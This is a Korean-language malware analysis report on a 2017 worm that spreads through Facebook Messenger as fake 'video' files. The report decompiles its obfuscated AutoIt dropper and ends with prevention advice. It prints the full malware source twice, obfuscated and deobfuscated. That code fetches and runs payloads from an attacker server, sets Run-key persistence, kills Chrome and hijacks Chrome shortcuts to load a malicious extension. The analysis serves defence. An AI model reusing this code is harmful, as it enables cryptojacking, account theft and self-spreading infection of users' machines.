• 검색 결과가 없습니다.

페이스북 악성코드

N/A
N/A
Protected

Academic year: 2022

Share "페이스북 악성코드"

Copied!
23
0
0

로드 중.... (전체 텍스트 보기)

전체 글

(1)

페이스북 악성코드 

 

 

  감염된 페이스북 친구로부터 악성파일 무차별 확산 

암호화폐 모네로 채굴 기능 포함...다운로드 받지 말고 삭제해야 함   

  목차 

1.개요  2.정적 분석  3.흐름도 

4.분석하지 못한 내용  5.해결 방안 

(2)

 

1.개요 

‘video.xxxx.zip’ 또는 ‘vidio.xxxx.mp4’ 등의 이름으로 된 악성 파일이 페이스북 메신저를 통해  무차별 유포되고 있다.(2017/12) 

video란 단어와 랜덤 숫자로 된 mp4, zip 확장자명 파일이 최근 페이스북 메신저를 통해 확산되고  있다. 해당 파일은 압축파일이나 mp4처럼 위장하고 있지만, 실제는 exe 파일이다. 

해당 파일을 받으면 받은 사람의 페이스북 메신저로 자동 재배포되기 때문에 현재 급속도로  확산되고 있고 악성파일은 암호화폐의 한 종류인 모네로(Monero) 채굴을 위한 악성코드로  추정된다.  

모네로의 경우 2014년 4월에 개발된 암호화폐로, 암호화폐 가운데서도 가장 완벽하게 익명성을  보장해주는 것으로 유명하다. 무엇보다 누가 누구에게 얼마만큼의 금액을 보냈는지 전혀 알 수  없다. 그래서 ​계좌 추적이 어려워 범죄에 악용되고 있다​. 

라이브러리는 Autoit을 사용중, 컴파일러는 Microsoft visual c/c++, exe 실행 파일 

 

(3)

2.정적 분석 

Exe2Aut 디컴파일러를 사용해 오토잇 소스를 분석 

 

  SciTE 에디터를 이용해서 분석 함 

(4)

메인코드는 괄호 포함 약 160줄 

​$nxvbn = @AppDataDir & "\" & @UserName

$pgxfwlgxsky =

"a4Ihf)isDS3qtZ?=jB9l\NHwv[RbrkgMdGo(CA*KO87/E1,:u-.5]X0TJL#UnpzQm&_6Yyc|VeW FxP2"

$spzxnetpal = "h|BXIm\esG&x:.)8HqlA_af#VvKSy?ONokF6ciM(,EnWj3Y2C9T=Qz1 54*uPDJwp]-URtg[L/b07dZr"

$covciwp = WinGetTitle(fhzftbqusc("|lu.fv8&"))

$lqertr = StringSplit(fhzftbqusc("byN2y4C)xZsqs4n2dc2N)T*N7Ncs2"), "|")

$shipbaexxses = StringSplit(fhzftbqusc("UmxNys24[Axsd"), "|")

$ecnhsij = ProcessList(@ScriptName) For $exepvjgmxeeh = 1 To $ecnhsij[0][0]

If $ecnhsij[$exepvjgmxeeh][1] <> @AutoItPID Then Exit Next

nxylhkav()

Func nxylhkav()

$xujbecroxjgk = RegRead(fhzftbqusc("jRu6ibdHyQN2siudxsC"), fhzftbqusc("f7DyN99sx"))

If $xujbecroxjgk = fhzftbqusc(",sD") Then wpwnmw()

Else

qzkzox() EndIf

EndFunc

Func qzkzox()

If $covciwp = "" Then Exit

(5)

Else

fxvdovbn() EndIf

EndFunc

Func fxvdovbn()

For $i = 1 To $lqertr[0]

$zppirxnr = StringInStr($covciwp, $lqertr[$i]) If $zppirxnr <> 0 Then

Exit EndIf Next

tisujqhzl() EndFunc

Func tisujqhzl()

$volrvfr = False

For $i = 1 To $shipbaexxses[0]

$zppirxnr = StringInStr(StringLower(@ScriptName), $shipbaexxses[$i]) If $zppirxnr <> 0 Then

$volrvfr = True ExitLoop

EndIf Next

If $volrvfr = False Then Exit

Else

btjod()

(6)

EndIf EndFunc

Func btjod()

RegWrite(fhzftbqusc("jRu6ibdHyQN2siudxsC"), fhzftbqusc("f7DyN99sx"), fhzftbqusc("Y8S\bP"), fhzftbqusc(",sD"))

wpwnmw() EndFunc

Func wpwnmw()

$chrskwl = ObjCreate(fhzftbqusc("QA7ayymZQA7ayym2sBUsDyZJZ0"))

$chrskwl.open(fhzftbqusc("S8."),

fhzftbqusc("ayymteecsrWZdXA[UZWAxeNmAeNmm9seCd7HAcZmam"), False)

$chrskwl.setrequestheader(fhzftbqusc("6Ds2_lcs7y"), fhzftbqusc("*A7s2"))

$chrskwl.setrequestheader(fhzftbqusc("/A7xdQ"), $covciwp)

$chrskwl.setrequestheader(fhzftbqusc("bC2AmyMN)s"), @ScriptName)

$chrskwl.setrequestheader(fhzftbqusc("gb"), @OSVersion)

$chrskwl.send()

$ovird = $chrskwl.responsetext

If $ovird = fhzftbqusc("xs7Asx") Then Exit fvgvppl()

$aoewnhhiof = _stringexplode($ovird, fhzftbqusc("w"), 0) For $rkqysb In $aoewnhhiof

mstaywu($rkqysb) Next

fzrnz() EndFunc

Func fvgvppl()

(7)

DirCreate($nxvbn) EndFunc

Func mstaywu($aoewnhhiof)

$wgbmljwocm = _stringexplode($aoewnhhiof, fhzftbqusc("O"), 0) InetGet($wgbmljwocm[0], $nxvbn & "\" & $wgbmljwocm[1], 1, 0) EndFunc

Func fzrnz()

FileCopy(@ScriptFullPath, $nxvbn & "\" & fhzftbqusc("UmxNys2Zsqs"), 1) qcgbtyudj()

wsreie() gcvchizf() etzwhuznq() lpvvvrlkqu() EndFunc

Func wsreie()

$gzwcgrbvltfa = fhzftbqusc("|Y8S8hn.f.V8tKkA?KZ#ua2d)sZ#?&") While WinGetHandle($gzwcgrbvltfa)

WinClose($gzwcgrbvltfa) WEnd

ProcessClose(fhzftbqusc("Ca2d)sZsqs")) EndFunc

Func gcvchizf()

While ProcessExists(fhzftbqusc("Ca2d)sZsqs")) Sleep(100)

(8)

WEnd EndFunc

Func qcgbtyudj()

RegWrite(fhzftbqusc("jRu6ibdHyQN2si*AC2dDdHyi/A7xdQDiuU22s7yvs2DAd7iYU7"), fhzftbqusc("Sddc9sT6mxNys2"), fhzftbqusc("Y8S\bP"), $nxvbn & "\" &

fhzftbqusc("UmxNys2Zsqs")) ihwzcue()

EndFunc

Func ihwzcue()

Local $lernxuboiiyp[5] = [@AppDataDir &

fhzftbqusc("i*AC2dDdHyif7ys27syT8qm9d2s2i]UACGTVNU7Cai6Ds2TnA77sxi.NDGIN2"),

@DesktopDir, @AppDataCommonDir &

fhzftbqusc("i*AC2dDdHyif7ys27syT8qm9d2s2i]UACGTVNU7Cai6Ds2TnA77sxi.NDGIN2"),

@ProgramsCommonDir, @DesktopCommonDir]

For $exepvjgmxeeh = 0 To 5 - 1

domsrojaldyy($lernxuboiiyp[$exepvjgmxeeh]) Next

EndFunc

Func etzwhuznq()

ShellExecute(fhzftbqusc("Ca2d)sZsqs"),

fhzftbqusc("__s7NW9s_NUyd)NyAd7T__xADNW9s_A7HdWN2DT__9dNx_sqys7DAd75") & $nxvbn,

"", "", @SW_MAXIMIZE) EndFunc

Func lpvvvrlkqu()

Run($nxvbn & "\" & fhzftbqusc("CdxsCZsqs")) EndFunc

Func domsrojaldyy($jgqcfdku)

(9)

Local $exyypodyri = _filelisttoarray($jgqcfdku, fhzftbqusc("#Z97G")) If @error = 0 Then

For $exepvjgmxeeh = 0 To UBound($exyypodyri, $ubound_rows) - 1 mvxnujzxag($jgqcfdku & "\" & $exyypodyri[$exepvjgmxeeh]) Next

EndIf EndFunc

Func mvxnujzxag($rkqysb)

$svogvmiouj = FileGetShortcut($rkqysb) If NOT @error Then

$ezysanuo = _pathsplit($svogvmiouj[0], "", "", "", "") If $ezysanuo[3] = fhzftbqusc("Ca2d)s") Then

qdqkb($svogvmiouj, $rkqysb) EndIf

EndIf EndFunc

Func qdqkb($svogvmiouj, $rkqysb)

FileCreateShortcut($svogvmiouj[0], $rkqysb, $svogvmiouj[1],

fhzftbqusc("__s7NW9s_NUyd)NyAd7T__xADNW9s_A7HdWN2DT__9dNx_sqys7DAd75") & $nxvbn) EndFunc

Func fhzftbqusc($ifvtmndxq)

$qowdwcnz = ""

$sfcatfel = StringLen($ifvtmndxq) For $exepvjgmxeeh = 0 To $sfcatfel

$qowdwcnz &= StringMid($spzxnetpal, StringInStr($pgxfwlgxsky, StringMid($ifvtmndxq, $exepvjgmxeeh, 1), 1), 1)

(10)

Next

Return $qowdwcnz EndFunc 

기본 코드가 난독화가 되어있다.(변수, 함수명, 문자열)  해체 해준다. 

 

$AppDataDir에 유저이름의 경로 = @AppDataDir & "\" & @UserName 

$프로그램 실행되는 경로, 창 정보 = WinGetTitle([ACTIVE]) 

$lqertr = StringSplit(Start|cmd.exe|Program Manager, "|") 

$shipbaexxses = StringSplit(updater|video, "|") 

$ecnhsij = ProcessList(@ScriptName)  For $i_ = 1 To $ecnhsij[0][0] 

If $ecnhsij[$i_][1] <> @AutoItPID Then Exit  Next 

//프로세스 정상적으로 실행되면 탈출후 다음함수  //비정상이면 프로그램종료 

 

_레지스트리 확인 함수()   

 

Func _레지스트리 확인 함수() 

$xujbecroxjgk = RegRead(HKCU\Software\Codec, Installed)  If $xujbecroxjgk = Yes Then 

_웹 통신 함수()  Else 

(11)

_현재 프로그램 정상적으로 작동중인지 확인()  EndIf 

EndFunc   

Func _현재 프로그램 정상적으로 작동중인지 확인()  If $프로그램 실행되는 경로, 창 정보 = "" Then 

Exit  Else 

_프로그램이 정상적인 방법으로 열렸는지 확인()  EndIf 

EndFunc   

Func_프로그램이 정상적인 방법으로 열렸는지 확인()//경로에 lqertr문자들이 있으면 안돼  For $i = 1 To $lqertr[0] 

$zppirxnr = StringInStr($프로그램 실행되는 경로, 창 정보, $lqertr[$i])  If $zppirxnr <> 0 Then 

Exit  EndIf  Next 

_현재 프로그램의 이름이 updater, video 둘중 하나가 들어있는지 확인()  EndFunc 

 

Func_현재 프로그램의 이름이 updater, video 둘중 하나가 들어있는지 확인() //shipbaexxses 문자가 하나라도 있어야함 

$bool = False 

For $i = 1 To $shipbaexxses[0] 

$zppirxnr = StringInStr(StringLower(@ScriptName), $shipbaexxses[$i]) 

(12)

If $zppirxnr <> 0 Then 

$bool = True  ExitLoop  EndIf 

Next 

If $bool = False Then  Exit 

Else 

_레지스트리 추가 함수()  EndIf 

EndFunc   

Func _레지스트리 추가 함수() 

RegWrite(HKCU\Software\Codec, Installed, REG_SZ, yes)  _웹 통신 함수() 

EndFunc   

Func _웹 통신 함수() 

$chrskwl = ObjCreate(winhttp.winhttprequest.5.1) 

$chrskwl.open(GET, http://geyb.ozivu.bid/api/apple/config.php, False) //get 방식으로  동기식으로 연결 

$chrskwl.setrequestheader(User-Agent, Miner) 

$chrskwl.setrequestheader(Window, $프로그램 실행되는 경로, 창 정보) 

$chrskwl.setrequestheader(ScriptName, @ScriptName) // 파일 이름 

$chrskwl.setrequestheader(OS, @OSVersion) //os 버전 

$chrskwl.send() //send() 함수에서 서버로부터 응답이 올 때까지 기다림 

(13)

$서버응답 텍스트 문자열 = $chrskwl.responsetext //$chrskwl.responseText – 서버의 응답을  텍스트 문자열로 반환할 것이다. 

If $서버응답 텍스트 문자열 = denied Then Exit //응답 못받으면 종료  _유저이름의 폴더 생성() 

$서버응답 문자열 배열 = _stringexplode($서버응답 텍스트 문자열, #, 0)//문자열 # 기준으로  배열에 저장 

For $서버응답 문자열_ In $서버응답 문자열 배열   

_강제로 파일 다운로드 하는함수($서버응답 문자열_)  Next 

_파일을 복사, 5개 함수 실행시키는 함수()  EndFunc 

 

Func _유저이름의 폴더 생성() 

DirCreate($AppDataDir에 유저이름의 경로)  EndFunc 

 

Func _강제로 파일 다운로드 하는함수($서버응답 문자열) 

$서버응답 최종 문자열 배열 = _stringexplode($서버응답 문자열, ,,, 0) 

InetGet($서버응답 최종 문자열 배열[0], $AppDataDir에 유저이름의 경로 & "\" & $서버응답  최종 문자열 배열[1], 1, 0) //웹으로 파일을 강제로 다운로드를 함   

EndFunc

// [0]=url, [1]=filename   

Func _파일을 복사, 5개 함수 실행시키는 함수() 

FileCopy(@ScriptFullPath, $AppDataDir에 유저이름의 경로 & "\" & updater.exe, 1) //기존 파일  덮어쓰고 실행파일을 경로에다가 updater.exe라는 이름으로 복사 

_레지스트리 추가[os 시작시 updater.exe 실행]()  _기존의 열러있는 크롬창을 닫아줌() 

(14)

_크롬 프로세스를 일시정지 해주는 함수()  _외부 프로그램 실행 해주는 함수()  _codec.exe 실행 시키는 함수()  EndFunc 

 

Func _기존의 열러있는 크롬창을 닫아줌() 

$gzwcgrbvltfa = [REGEXPTITLE:(?i)(.*Chrome.*)] 

While WinGetHandle($gzwcgrbvltfa) //현재 실행된 크롬의 정보를 가지고옴  WinClose($gzwcgrbvltfa) // 크롬을 닫아줌 

WEnd 

ProcessClose(chrome.exe) //프로세스를 닫아줌  EndFunc 

 

Func _크롬 프로세스를 일시정지 해주는 함수() 

While ProcessExists(chrome.exe) //안에 인자값을 이름의 프로세스pid를 찾고 리턴해줌  Sleep(100) //실행 진행을 일시정지(0.1초)(단위: millisecond) 

WEnd  EndFunc   

Func _레지스트리 추가[os 시작시 updater.exe 실행]() 

RegWrite(HKCU\Software\Microsoft\Windows\CurrentVersion\Run, Google Updater,  REG_SZ, $AppDataDir에 유저이름의 경로 & "\" & updater.exe)//os 시작할때 

updater.exe파일을 실행하게 만듬 

_경로 배열생성, 함수에 하나씩 넣어주는 함수()  EndFunc 

 

Func _경로 배열생성, 함수에 하나씩 넣어주는 함수() 

(15)

Local $경로 배열[5] = [@AppDataDir & \Microsoft\Internet Explorer\Quick Launch\User  Pinned\TaskBar, @DesktopDir, @AppDataCommonDir & \Microsoft\Internet Explorer\Quick  Launch\User Pinned\TaskBar, @ProgramsCommonDir, @DesktopCommonDir] 

For $i_ = 0 To 5 - 1 

_경로에 lnk확장자 파일목록 배열 생성 후 함수에 하나씩 넣어주는 함수($경로 배열[$i_])  Next 

EndFunc 

Func _외부 프로그램 실행 해주는 함수() 

ShellExecute(chrome.exe, --enable-automation --disable-infobars --load-extension= & 

$AppDataDir에 유저이름의 경로, "", "", @SW_MAXIMIZE) 

EndFunc //ShellExecute API를 사용하여 외부 프로그램 실행(chrome.exe실행, 프로그램한테  parameters값 넘겨줌, 현재 작업 폴더로 작업 폴더 설정,null,Maximized window 전체화면으로  실행 ) 

Func _codec.exe 실행 시키는 함수() 

Run($AppDataDir에 유저이름의 경로 & "\" & codec.exe)  //위경로의 codec.exe프로그램을 실행 시킴 

EndFunc   

Func _경로에 lnk확장자 파일목록 배열 생성 후 함수에 하나씩 넣어주는 함수($경로) 

Local $경로_배열 = _filelisttoarray($경로, "*.lnk") //경로에 *.lnk의 확장자를 가진 파일목록을  배열로 만듬 

If @error = 0 Then 

For $i_ = 0 To UBound($경로_배열, $ubound_rows) - 1 //배열 하나씩 인자 값으로  넣어줌 

_크롬파일찾아가는 함수($경로 & "\" & $경로_배열[$i_])  Next 

EndIf  EndFunc 

Func _크롬파일찾아가는 함수($lnk파일 경로) 

(16)

$lnk파일 정보 배열 = FileGetShortcut($lnk파일 경로) //[0]== 바로가기 대상 경로  If NOT @error Then 

$_바로가기 정보 배열 = _pathsplit($lnk파일 정보 배열[0], "", "", "", "") // [0]==파일  이름 

If $_바로가기 정보 배열[3] = chrome Then //경로의 파일 이름이 chrome 맞는지 확인  _바로가기 정보 배열($lnk파일 정보 배열, $lnk파일 경로) 

EndIf  EndIf 

EndFunc 

Func _바로가기 정보 배열($lnk파일 정보 배열, $lnk파일 경로) 

FileCreateShortcut($lnk파일 정보 배열[0], $lnk파일 경로, $lnk파일 정보 배열[1], 

--enable-automation --disable-infobars --load-extension= & $AppDataDir에 유저이름의 경로) 

EndFunc //[0]==바로가기 대상경로 //링크 파일 생성 위치 //작업 

폴더 //args 인자값(크롬 커멘트 명령어)//사용자에게 브라우저가 자동화된 테스트에 의해  제어되고 있음을 알려준다. //인포바가 나타나지 않도록 한다. //실행할때 위 경로의 크롬 파일을  실행함 

 

 

 

 

 

 

 

(17)

3.흐름도 

 

(18)

 

 

(19)

   

   

   

(20)

   

   

(21)

4.분석하지 못한 내용 

파일을 드랍해주는 도메인 ​http://geyb.ozivu.bid/api/apple/config.php에서   파일을 받아 공격코드를 실행시키는데 위도메인 만료로 인해 위와 같이   분석할 수 있는 최대로 분석을 진행하였습니다. 

어떤 파일이 다운로드 되는지 알수없지만 관련 기사와 관련 자료를 찾아본 결과 

페이스북 아이디 탈취, 페이스북 메신저로 다른사람들에게 확산, 비트코인 채굴해주는   좀비 pc등 여러 증상이 도메인으로 파일이 다운되서 실행되는 코드라고 이해하고   분석 할 수 밖에 없었습니다.  

                       

(22)

5.해결 방안 

1. 메신저로 모르는사람 또는 아는 사람에게 온 파일은 최대한  다운받지 않도록한다.  

 

위 처럼 mp4인줄 알고 클릭했거나 실수로 실행만 시켜도 바로 실행되는  코드이기에 각별한 관리 필요하다. 

2. 미리 예방도 중요하지만 감염 후 가 더문제다. 

위 내용처럼 예방도 중요하지만 감염당하고 관리를 하지 못하면 또다른 피해자가   생기고 계속 악순환이 반복된다. 그러므로 감염 후 빨리 조치 해야한다. 

1.백신 프로그램을 이용한다. 

현재 이 악성코드는 여러 해킹 사례가 나와 분석 보고가 이미 되었기에 pc 치료를 하면  어느정도 해결할 수 있다. 

 

(23)

2.sns 로그인 otp 사용 

otp로 2차인증을 설정하여 아무나 로그인하지못하게 아이디를 보안해야한다. 

설정 참고 ↓↓↓↓↓↓↓↓↓↓ 

http://metier7.blogspot.com/2016/07/blog-post_98.html  3.facebook자체의 매뉴얼을 사용한다.  

https://www.facebook.com/help/389666567759871?helpref=faq_content 

위에는 어떤 증상이면 감염인지, 어떻게 예방법이 있는지 자세한 정보를 얻을 수 있다. 

       

참조

관련 문서

● 보험회사 등으로부터 해당 의료비를 보전받는 실손보험금과 사내근로복지기금·국민건강 보험공단(본인부담상한제)에서 받은 지원금은

남자친구와 5년 동안 성생활을 하고 있고, 몸의 변화 때문에 자신의 외모와 성 생활에 문제가 생기지 않을까 걱정함.. 현재 고혈압치료제 복용 중으 로 10개월

의견 공간 통계에 따라 페이스북 사용자가 많음 페이스 북을 접속 하지 않는 이유 타 방법을 이용한 커뮤니케이션.. 페이스북의

– 두 사람의 질량이 다른 상황에서 한 사람이 힘을 작용하는 경우 그 힘을 두 사람의 사이의 상호작용으로 이해하기보 다는 힘을 받는 대상의 질량이 다르기 때문에

• 모든 데이터 암호화, 보안 패치 자동 적용. • 자동

현재 이러 한 현상은 미주지역 전반으로 확산되고 있으며, 오직 와이오밍(Wyoming)주와 캘리포 니아(California)주에서만 사육두수가 증가한 것으로 조사되었다. 사육농가들은

본 논문에서는 스마트폰의 개인정보를 유출하는 악성코드 특징과 행위에 대하여 알아보고,개인 정보의 유출 행위를 탐지하고,정보 자원에 대한 접근제어를

② 제1항에도 불구하고 입학 당시 평가인증기구의 인증을 받은 간 호학을 전공하는 대학 또는 전문대학에 입학한 사람으로서 그 대 학 또는 전문대학을 졸업하고 해당 학위를